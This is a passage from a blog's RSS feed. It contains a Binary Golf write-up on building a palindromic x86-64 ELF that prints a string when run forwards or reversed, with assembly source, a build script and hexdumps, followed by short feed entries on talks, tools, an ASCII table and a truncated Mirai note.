&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">subprocess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># python3 opiter.py opcode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Will iter through one byte in front of the opcode you put in there.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># It&amp;#39;s hella bespoke, feel free to change heh&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">exp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">255&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">opp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;02x&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">inf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#34;&amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">opp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="s1">&amp;#39; &amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">exp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="s1">&amp;#39;&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">opp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">exp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="s2">&amp;#34; |&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">process&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="s1">&amp;#39;/usr/bin/rasm2 -a x86 -b 64 -d &amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">inf&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">shell&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">check&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdout&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">PIPE&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">universal_newlines&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">process&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stdout&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;invalid&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;--&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the output from the jmp brute table with invalid opcodes ignored:&lt;/p>
&lt;pre tabindex="0">&lt;code>OPCODE|INSTRUCTIONS
------+---------------
00 eb | add bl, ch
01 eb | add ebx, ebp
02 eb | add ch, bl
03 eb | add ebp, ebx
04 eb | add al, 0xeb
08 eb | or bl, ch
09 eb | or ebx, ebp
0a eb | or ch, bl
0b eb | or ebp, ebx
0c eb | or al, 0xeb
10 eb | adc bl, ch
11 eb | adc ebx, ebp
12 eb | adc ch, bl
13 eb | adc ebp, ebx
14 eb | adc al, 0xeb
18 eb | sbb bl, ch
19 eb | sbb ebx, ebp
1a eb | sbb ch, bl
1b eb | sbb ebp, ebx
1c eb | sbb al, 0xeb
20 eb | and bl, ch
21 eb | and ebx, ebp
22 eb | and ch, bl
23 eb | and ebp, ebx
24 eb | and al, 0xeb
28 eb | sub bl, ch
29 eb | sub ebx, ebp
2a eb | sub ch, bl
2b eb | sub ebp, ebx
2c eb | sub al, 0xeb
30 eb | xor bl, ch
31 eb | xor ebx, ebp
32 eb | xor ch, bl
33 eb | xor ebp, ebx
34 eb | xor al, 0xeb
38 eb | cmp bl, ch
39 eb | cmp ebx, ebp
3a eb | cmp ch, bl
3b eb | cmp ebp, ebx
3c eb | cmp al, 0xeb
63 eb | movsxd rbp, ebx
6a eb | push 0xffffffffffffffeb
70 eb | jo 0xffffffffffffffed
71 eb | jno 0xffffffffffffffed
72 eb | jb 0xffffffffffffffed
73 eb | jae 0xffffffffffffffed
74 eb | je 0xffffffffffffffed
75 eb | jne 0xffffffffffffffed
76 eb | jbe 0xffffffffffffffed
77 eb | ja 0xffffffffffffffed
78 eb | js 0xffffffffffffffed
79 eb | jns 0xffffffffffffffed
7a eb | jp 0xffffffffffffffed
7b eb | jnp 0xffffffffffffffed
7c eb | jl 0xffffffffffffffed
7d eb | jge 0xffffffffffffffed
7e eb | jle 0xffffffffffffffed
7f eb | jg 0xffffffffffffffed
&lt;/code>&lt;/pre>&lt;p>I needed some code to execute, something very small, yet produce some sort of
output to prove that it worked. The code I decided to adapt for this was based
on the tiny ELF binary I had explained in a stream on assembly optimization
called &lt;a href="https://github.com/netspooky/i2ao">i2ao&lt;/a>, and it was simple enough that I could port for this application.
All it really does is print out a string.&lt;/p>
&lt;p>Since we have a palindrome string that could be executed as well, it seemed
fitting to print that string out, as well as execute it. This would save space
on data and make the overall mirrored layout look more even.&lt;/p>
&lt;h2 id="fitting-the-pieces-together">Fitting The Pieces Together&lt;/h2>
&lt;p>Now that all the pieces to build this are in place, we can start to put them
together. The full assembly listing is at the bottom of this section if you
want to play along at home!&lt;/p>
&lt;p>The primary concern is to make sure that the registers we need are cleared prior
to making a syscall. In this case, we are making two syscalls: write and exit.&lt;/p>
&lt;p>The registers required for a write syscall are: RAX, RDX, RDI, and RSI. Since
the first instructions executed add values to RAX, an explicit mov rax, 1 is
needed, rather than any clever tricks to populate RAX. If we wanted to use
something like xor rax, rax; inc rax, it would add an extra byte. Some other
space saving measures are also used in the write syscall code, which you can
refer to in the i2ao writeups / video.&lt;/p>
&lt;p>The next step is to reference the string within the code that is right after
the write syscall. There are a few ways of making references to the current
offset, but none of them made much sense other than simply using the offsets
in the binary and moving that value into the sil register.&lt;/p>
&lt;p>In times like these, it&amp;rsquo;s useful to build, but not execute, and open your
binary in a debugger. Mind you, it does start to get frustrating when your
debugger gets confused about what the heck you&amp;rsquo;re actually doing, but it&amp;rsquo;s
trying it&amp;rsquo;s best! Sometimes seeking directly to the offset you&amp;rsquo;re interested
in and disassembling there is the only real way to understand what&amp;rsquo;s happening.&lt;/p>
&lt;p>After the write syscall code was sorted, it was time to start mirroring the
entire executable section. Since the bounds of the headers have already been
established, you can safely do this without messing up your binary too much.&lt;/p>
&lt;p>The write syscall code doesn&amp;rsquo;t really have too many instructions that you can
safely execute backwards without entirely rewriting it. So instead of that,
another approach is to simply jump over whatever you can&amp;rsquo;t execute. The
alphanumeric machine code bit is executable and won&amp;rsquo;t interfere with the flow
of the program, so a jmp can be placed between that and the junk code.&lt;/p>
&lt;p>The size of the write code, along with the short jmp, produces &amp;lsquo;jmp 0x17&amp;rsquo;,
which turns into &amp;rsquo;eb 15&amp;rsquo; in machine code. This unfortunately doesn&amp;rsquo;t
translate to anything usable backwards. Referring to the jmp table, there is
a possibly usable instruction &amp;lsquo;sbb bl, ch&amp;rsquo;, that can be achieved by padding
with 3 nops to bring the opcode to &amp;lsquo;18eb&amp;rsquo; when backwards, &amp;rsquo;eb18&amp;rsquo; forwards.&lt;/p>
&lt;p>So what&amp;rsquo;s the point of this? Mainly to prevent generating even more junk bytes
to account for. Another solution would be to just encode a backwards jmp &amp;lsquo;02eb&amp;rsquo;
after the jmp to the write syscall, which would do a small hop over the jmp
that we can&amp;rsquo;t execute backwards. This way felt more clean in the end.&lt;/p>
&lt;p>Now all we have to do is just execute our string, clear RAX, and jump back into
the headers. This just adds a small (5 byte) block that we have to account for
when we jump out of the headers the first time and into the main code section.&lt;/p>
&lt;p>A space saving trick used here was to completely overwrite the p_align section,
which saves 16 bytes in total (8 on each side) within the code section.&lt;/p>
&lt;p>It was frustrating to have junk code within the space of 0x4-0x10, where the
binary begins and ends execution, so a final idea was tried to utilize all the
space here.&lt;/p>
&lt;p>There is writable space at both 0x3C and 0x44 in the program header. They must
be exactly the same or the binary will not execute. Each part has 4 bytes of
space to work with, which is perfect to do something simple like a short jmp.&lt;/p>
&lt;p>Doing a short jmp from the top of the ELF header to 0x44, produces a some bytes
that are usable backwards! This is &amp;rsquo;eb34&amp;rsquo;, which backwards, &amp;lsquo;34eb&amp;rsquo; is decoded to
&amp;lsquo;xor al, 0xeb&amp;rsquo;. Since it&amp;rsquo;s only messing with AL, the lowest byte of RAX, this
doesn&amp;rsquo;t matter because the value is explicitly assigned afterwards. &lt;em>chefs kiss&lt;/em>&lt;/p>
&lt;p>This is the final code:&lt;/p>
&lt;pre tabindex="0">&lt;code>BITS 64
org 0x100000000 ; Where to load this into memory
;----------------------+------+-------------+----------+------------------------
; ELF Header struct | OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT
;----------------------+------+-------------+----------+------------------------
db 0x7F, &amp;#34;ELF&amp;#34; ; 0x00 | e_ident | | 7f 45 4c 46
_start:
add eax,0x4831ff0f ; The reverse of
cmp al,0xb0 ; the exit syscall
nop ; 90
nop ; 90
nop ; 90
jmp hjmp ; eb 34
;----------------------+------+-------------+----------+------------------------
; ELF Header struct ct.| OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT
;----------------------+------+-------------+----------+------------------------
dw 2 ; 0x10 | e_type | | 02 00
dw 0x3e ; 0x12 | e_machine | | 3e 00
dd 1 ; 0x14 | e_version | | 01 00 00 00
dd _start - $$ ; 0x18 | e_entry | | 04 00 00 00
;----------------------+------+-------------+----------+------------------------
; Program Header Begin | OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT
;----------------------+------+-------------+----------+------------------------
phdr:
dd 1 ; 0x1C | ... | p_type | 01 00 00 00
dd phdr - $$ ; 0x20 | e_phoff | p_flags | 1c 00 00 00
dd 0 ; 0x24 | ... | p_offset | 00 00 00 00
dd 0 ; 0x28 | e_shoff | ... | 00 00 00 00
dq $$ ; 0x2C | ... | p_vaddr | 00 00 00 00
; 0x30 | e_flags | ... | 01 00 00 00
dw 0x40 ; 0x34 | e_shsize | p_addr | 40 00
dw 0x38 ; 0x36 | e_phentsize | ... | 38 00
dw 1 ; 0x38 | e_phnum | ... | 01 00
dw 2 ; 0x3A | e_shentsize | ... | 02 00
;dq 2 ; 0x3C | e_shnum | p_filesz | 02 00 00 00 00 00 00 00
dw 0x0beb ; eb 0b ; Overwrites e_shnum and p_filesz
dw 0
dd 0
hjmp:
;dq 2 ; 0x44 | | p_memsz | 02 00 00 00 00 00 00 00
jmp sec0 ; eb 0b ; Overwrites p_memsz
dw 0
dd 0
;dq 2 ; 0x4C | | p_align | 02 00 00 00 00 00 00 00
;--- Outer bounds of executable portion
cmp al, 0xeb ; 3c eb ; Overwrites p_align
db 0xc0 ; c0
db 0x31 ; 31
db 0x48 ; 48
sec0:
push rax ; 50
push rbp ; 55
push rax ; 50
push rax ; 50
pop rcx ; 59
push rbx ; 53
push rax ; 50
pop rcx ; 59
push rax ; 50
push rbx ; 53
pop rcx ; 59
push rax ; 50
push rax ; 50
push rbp ; 55
push rax ; 50
jmp sec1 ; eb 18
nop ; 90
nop ; 90
nop ; 90
nop ; 90
nop ; 90
add eax,0x40b6950f ; 05 0f 95 b6 40 ; Third byte is str offset
and dh,ah ; 20 e6
ror DWORD [rax-0x3a],0x89 ; c1 48 c6 89
dd 0x89c7b20f ; 0f b2 c7 89
add BYTE [rax],al ; 00 00
add BYTE [rcx],al ; 00 01
;--- split - the first byte is shared with the mov rax,1
sec1:
mov rax, 1 ; b8 01 00 00 00
mov edi, eax ; 89 c7
mov dl, 15 ; b2 0f
mov esi, eax ; 89 c6
shl rsi, 0x20 ; 48 c1 e6 20
mov sil, 0x95 ; 40 b6 95
syscall ; 0f 05
nop ; 90
nop ; 90
nop ; 90
nop ; 90
nop ; 90
sbb bl, ch ; 18 eb
sec2:
push rax ; 50
push rbp ; 55
push rax ; 50
push rax ; 50
pop rcx ; 59
push rbx ; 53
push rax ; 50
pop rcx ; 59
push rax ; 50
push rbx ; 53
pop rcx ; 59
push rax ; 50
push rax ; 50
push rbp ; 55
push rax ; 50
xor rax, rax ; 48 31 c0
jmp rstart ; eb 3c
;--- Header Mirror
dd 0
dw 0
dw 0xeb0b ; 0x44 | | p_memsz | 02 00 00 00 00 00 00 00
dd 0 ;
dw 0 ;
dw 0xeb0b ; 0x3C | e_shnum | p_filesz | 02 00 00 00 00 00 00 00
db 0 ;
db 2 ; 0x3A | e_shentsize | ... | 02 00
db 0 ;
db 1 ; 0x38 | e_phnum | ... | 01 00
db 0 ;
db 0x38 ; 0x36 | e_phentsize | ... | 38 00
db 0 ;
db 0x40 ; 0x34 | e_shsize | p_addr | 40 00
dw 0 ;
db 0 ;
db 1 ; 0x30 | e_flags | ... | 01 00 00 00
dd 0 ; 0x2C | ... | p_vaddr | 00 00 00 00
dd 0 ; 0x28 | e_shoff | ... | 00 00 00 00
dd 0 ; 0x24 | ... | p_offset | 00 00 00 00
dw 0 ;
db 0 ;
db 0x1c ; 0x20 | e_phoff | p_flags | 1c 00 00 00
dw 0 ;
db 0 ;
db 1 ; 0x1C | ... | p_type | 01 00 00 00
dw 0 ;
db 0 ;
db 4 ; 0x18 | e_entry | | 04 00 00 00
dw 0 ;
db 0 ;
db 1 ; 0x14 | e_version | | 01 00 00 00
db 0 ;
db 0x3e ; 0x12 | e_machine | | 3e 00
db 0 ;
db 2 ; 0x10 | e_type | | 02 00
rstart:
xor al, 0xeb ; 34 EB ; Jmp in reverse
nop ; 90
nop ; 90
nop ; 90
mov al, 0x3c ; b0 3c
xor rdi, rdi ; 48 31 ff
syscall ; 0f 05
db &amp;#34;F&amp;#34;
db &amp;#34;L&amp;#34;
db &amp;#34;E&amp;#34;
db 0x7F ; 0x00 | e_ident | | 7f 45 4c 46
&lt;/code>&lt;/pre>&lt;h2 id="confirming-it-works">Confirming It Works&lt;/h2>
&lt;p>This was tested and built on Ubuntu 20.04 with kernel 5.4.0-42-generic.&lt;/p>
&lt;p>Here is a small script you can use to build and test the ASM file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">nasm -f bin ns.bggp.asm -o ns.bggp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod +x ns.bggp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;Executing initial binary...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./ns.bggp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">xxd ns.bggp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;Reversing...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">perl -0777pe &lt;span class="s1">&amp;#39;$_=reverse $_&amp;#39;&lt;/span> ns.bggp &amp;gt; ns.bggp.R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod +x ns.bggp.R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;Executing binary in reverse...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./ns.bggp.R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">xxd ns.bggp.R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;Comparing hashes...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sha1sum ns.bggp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sha1sum ns.bggp.R
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Output:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ ./build.sh
Executing initial binary...
PUPPYSPYPSYPPUP
00000000: 7f45 4c46 050f ff31 483c b090 9090 eb34 .ELF...1H&amp;amp;lt;.....4
00000010: 0200 3e00 0100 0000 0400 0000 0100 0000 ..&amp;gt;.............
00000020: 1c00 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0100 0000 4000 3800 0100 0200 eb0b 0000 ....@.8.........
00000040: 0000 0000 eb0b 0000 0000 0000 3ceb c031 ............&amp;amp;lt;..1
00000050: 4850 5550 5059 5350 5950 5359 5050 5550 HPUPPYSPYPSYPPUP
00000060: eb18 9090 9090 9005 0f95 b640 20e6 c148 ...........@ ..H
00000070: c689 0fb2 c789 0000 0001 b801 0000 0089 ................
00000080: c7b2 0f89 c648 c1e6 2040 b695 0f05 9090 .....H.. @......
00000090: 9090 9018 eb50 5550 5059 5350 5950 5359 .....PUPPYSPYPSY
000000a0: 5050 5550 4831 c0eb 3c00 0000 0000 000b PPUPH1..&amp;amp;lt;.......
000000b0: eb00 0000 0000 000b eb00 0200 0100 3800 ..............8.
000000c0: 4000 0000 0100 0000 0000 0000 0000 0000 @...............
000000d0: 0000 0000 1c00 0000 0100 0000 0400 0000 ................
000000e0: 0100 3e00 0234 eb90 9090 b03c 4831 ff0f ..&amp;gt;..4.....&amp;amp;lt;H1..
000000f0: 0546 4c45 7f .FLE.
Reversing...
Executing binary in reverse...
PUPPYSPYPSYPPUP
00000000: 7f45 4c46 050f ff31 483c b090 9090 eb34 .ELF...1H&amp;amp;lt;.....4
00000010: 0200 3e00 0100 0000 0400 0000 0100 0000 ..&amp;gt;.............
00000020: 1c00 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0100 0000 4000 3800 0100 0200 eb0b 0000 ....@.8.........
00000040: 0000 0000 eb0b 0000 0000 0000 3ceb c031 ............&amp;amp;lt;..1
00000050: 4850 5550 5059 5350 5950 5359 5050 5550 HPUPPYSPYPSYPPUP
00000060: eb18 9090 9090 9005 0f95 b640 20e6 c148 ...........@ ..H
00000070: c689 0fb2 c789 0000 0001 b801 0000 0089 ................
00000080: c7b2 0f89 c648 c1e6 2040 b695 0f05 9090 .....H.. @......
00000090: 9090 9018 eb50 5550 5059 5350 5950 5359 .....PUPPYSPYPSY
000000a0: 5050 5550 4831 c0eb 3c00 0000 0000 000b PPUPH1..&amp;amp;lt;.......
000000b0: eb00 0000 0000 000b eb00 0200 0100 3800 ..............8.
000000c0: 4000 0000 0100 0000 0000 0000 0000 0000 @...............
000000d0: 0000 0000 1c00 0000 0100 0000 0400 0000 ................
000000e0: 0100 3e00 0234 eb90 9090 b03c 4831 ff0f ..&amp;gt;..4.....&amp;amp;lt;H1..
000000f0: 0546 4c45 7f .FLE.
Comparing hashes...
c082d226c96b7251649c48526dd9766071fa5e59 ns.bggp
c082d226c96b7251649c48526dd9766071fa5e59 ns.bggp.R
&lt;/code>&lt;/pre>&lt;p>Here is the base64 encoded binary if you don&amp;rsquo;t want to do all that:&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; \
f0VMRgUP/zFIPLCQkJDrNAIAPgABAAAABAAAAAEAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAEAAOAAB\
AAIA6wsAAAAAAADrCwAAAAAAADzrwDFIUFVQUFlTUFlQU1lQUFVQ6xiQkJCQkAUPlbZAIObBSMaJ\
D7LHiQAAAAG4AQAAAInHsg+JxkjB5iBAtpUPBZCQkJCQGOtQVVBQWVNQWVBTWVBQVVBIMcDrPAAA\
AAAAAAvrAAAAAAAAC+sAAgABADgAQAAAAAEAAAAAAAAAAAAAAAAAAAAcAAAAAQAAAAQAAAABAD4A\
AjTrkJCQsDxIMf8PBUZMRX8= &amp;gt; ns.bggp
&lt;/code>&lt;/pre>&lt;h2 id="going-further">Going Further&lt;/h2>
&lt;p>I could&amp;rsquo;ve possibly shrunk the write syscall code down even more to try and save
1 byte to produce a short jmp of 0xeb12-&amp;gt;0x12eb (adc ch, bl). Since I was coding
not just for size, but for % of bytes executed as well, it made more sense just
to leave it.&lt;/p>
&lt;p>There are a few different approaches to this, and I just wanted to cover a few
of them. This write up was just a brain dump of my notes as I worked on this.
I will have a more in depth write up on this that I will submit to PoC||GTFO,
so keep an eye out for that!&lt;/p>
&lt;p>If you have any questions / comments, my dms are open on Twitter &lt;a href="https://twitter.com/netspooky">@netspooky&lt;/a>.&lt;/p>
&lt;p>Check out my &lt;a href="https://n0.lol">main site&lt;/a> if you want to see more binary golf examples!&lt;/p>
&lt;p>Check out &lt;a href="https://binary.golf">binary.golf&lt;/a> for all Binary Golf Grand Prix related content!!&lt;/p></description></item><item><title>Hella Booters Talk (Defcon 28 IoT Village)</title><link>https://n0.lol/hella-booters/</link><pubDate>Sat, 08 Aug 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/hella-booters/</guid><description>&lt;p>Slides: &lt;a href="https://n0.lol/hellabooters.pdf">hellabooters.pdf&lt;/a>&lt;/p>
&lt;p>Video: &lt;a href="https://www.youtube.com/watch?v=gDZoHorF42E">https://www.youtube.com/watch?v=gDZoHorF42E&lt;/a>&lt;/p></description></item><item><title>netspooky/pdiff</title><link>https://n0.lol/pdiff/</link><pubDate>Thu, 25 Jun 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/pdiff/</guid><description>&lt;p>A script I made for diffing packets from a pcap.&lt;/p>
&lt;p>Link: &lt;a href="https://github.com/netspooky/pdiff">https://github.com/netspooky/pdiff&lt;/a>&lt;/p></description></item><item><title>BGGP1 Announcement</title><link>https://n0.lol/bggp1-announcement/</link><pubDate>Mon, 22 Jun 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp1-announcement/</guid><description>&lt;p>&lt;a href="https://n0.lol/bggp/">https://n0.lol/bggp/&lt;/a>&lt;/p>
&lt;p>TODO: Link to binary.golf site with the proper pages.&lt;/p></description></item><item><title>ASCII Table</title><link>https://n0.lol/cheatsheets/ascii/</link><pubDate>Mon, 01 Jun 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/cheatsheets/ascii/</guid><description>&lt;pre tabindex="0">&lt;code>Dec Hex Char Dec Hex Char Dec Hex Char Dec Hex Char
-------------- -------------- -------------- --------------
0 00h NUL (null) 32 20h SP 64 40h @ 96 60h `
1 01h SOH (start of heading) 33 21h ! 65 41h A 97 61h a
2 02h STX (start of text) 34 22h &amp;#34; 66 42h B 98 62h b
3 03h ETX (end of text) 35 23h # 67 43h C 99 63h c
4 04h EOT (end of transmission) 36 24h $ 68 44h D 100 64h d
5 05h ENQ (enquiry) 37 25h % 69 45h E 101 65h e
6 06h ACK (acknowledge) 38 26h &amp;amp; 70 46h F 102 66h f
7 07h BEL (bell) 39 27h &amp;#39; 71 47h G 103 67h g
8 08h BS (backspace) 40 28h ( 72 48h H 104 68h h
9 09h TAB (horizontal tab) 41 29h ) 73 49h I 105 69h i
10 0Ah LF (NL line feed, new line) 42 2Ah * 74 4Ah J 106 6Ah j
11 0Bh VT (vertical tab) 43 2Bh + 75 4Bh K 107 6Bh k
12 0Ch FF (NP form feed, new page) 44 2Ch , 76 4Ch L 108 6Ch l
13 0Dh CR (carriage return) 45 2Dh - 77 4Dh M 109 6Dh m
14 0Eh SO (shift out) 46 2Eh . 78 4Eh N 110 6Eh n
15 0Fh SI (shift in) 47 2Fh / 79 4Fh O 111 6Fh o
16 10h DLE (data link escape) 48 30h 0 80 50h P 112 70h p
17 11h DC1 (device control 1) 49 31h 1 81 51h Q 113 71h q
18 12h DC2 (device control 2) 50 32h 2 82 52h R 114 72h r
19 13h DC3 (device control 3) 51 33h 3 83 53h S 115 73h s
20 14h DC4 (device control 4) 52 34h 4 84 54h T 116 74h t
21 15h NAK (negative acknowledge) 53 35h 5 85 55h U 117 75h u
22 16h SYN (synchronous idle) 54 36h 6 86 56h V 118 76h v
23 17h ETB (end of trans. block) 55 37h 7 87 57h W 119 77h w
24 18h CAN (cancel) 56 38h 8 88 58h X 120 78h x
25 19h EM (end of medium) 57 39h 9 89 59h Y 121 79h y
26 1Ah SUB (substitute) 58 3Ah : 90 5Ah Z 122 7Ah z
27 1Bh ESC (escape) 59 3Bh ; 91 5Bh [ 123 7Bh {
28 1Ch FS (file separator) 60 3Ch &amp;lt; 92 5Ch \ 124 7Ch |
29 1Dh GS (group separator) 61 3Dh = 93 5Dh ] 125 7Dh }
30 1Eh RS (record separator) 62 3Eh &amp;gt; 94 5Eh ^ 126 7Eh ~
31 1Fh US (unit separator) 63 3Fh ? 95 5Fh _ 127 7Fh DEL
&lt;/code>&lt;/pre></description></item><item><title>Adventures in Binary Golf (AirGap2020)</title><link>https://n0.lol/adventures-in-binary-golf/</link><pubDate>Sat, 02 May 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/adventures-in-binary-golf/</guid><description>&lt;p>Video: &lt;a href="https://www.youtube.com/watch?v=VLmrsfSE-tA">https://www.youtube.com/watch?v=VLmrsfSE-tA&lt;/a>&lt;/p>
&lt;p>Slides: &lt;a href="https://n0.lol/Adventures_in_Binary_Golf.pdf">Adventures_in_Binary_Golf.pdf&lt;/a>&lt;/p></description></item><item><title>Exotic Mirai Targets</title><link>https://n0.lol/miraiexotic/</link><pubDate>Wed, 15 Apr 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/miraiexotic/</guid><description>&lt;p>Here&amp;rsquo;s a quick note on some malware targeting exotic processor architectures. I hope to do more investigation of this, but wanted to put out some info in case others have been looking for the same thing, or have more info.&lt;/p>
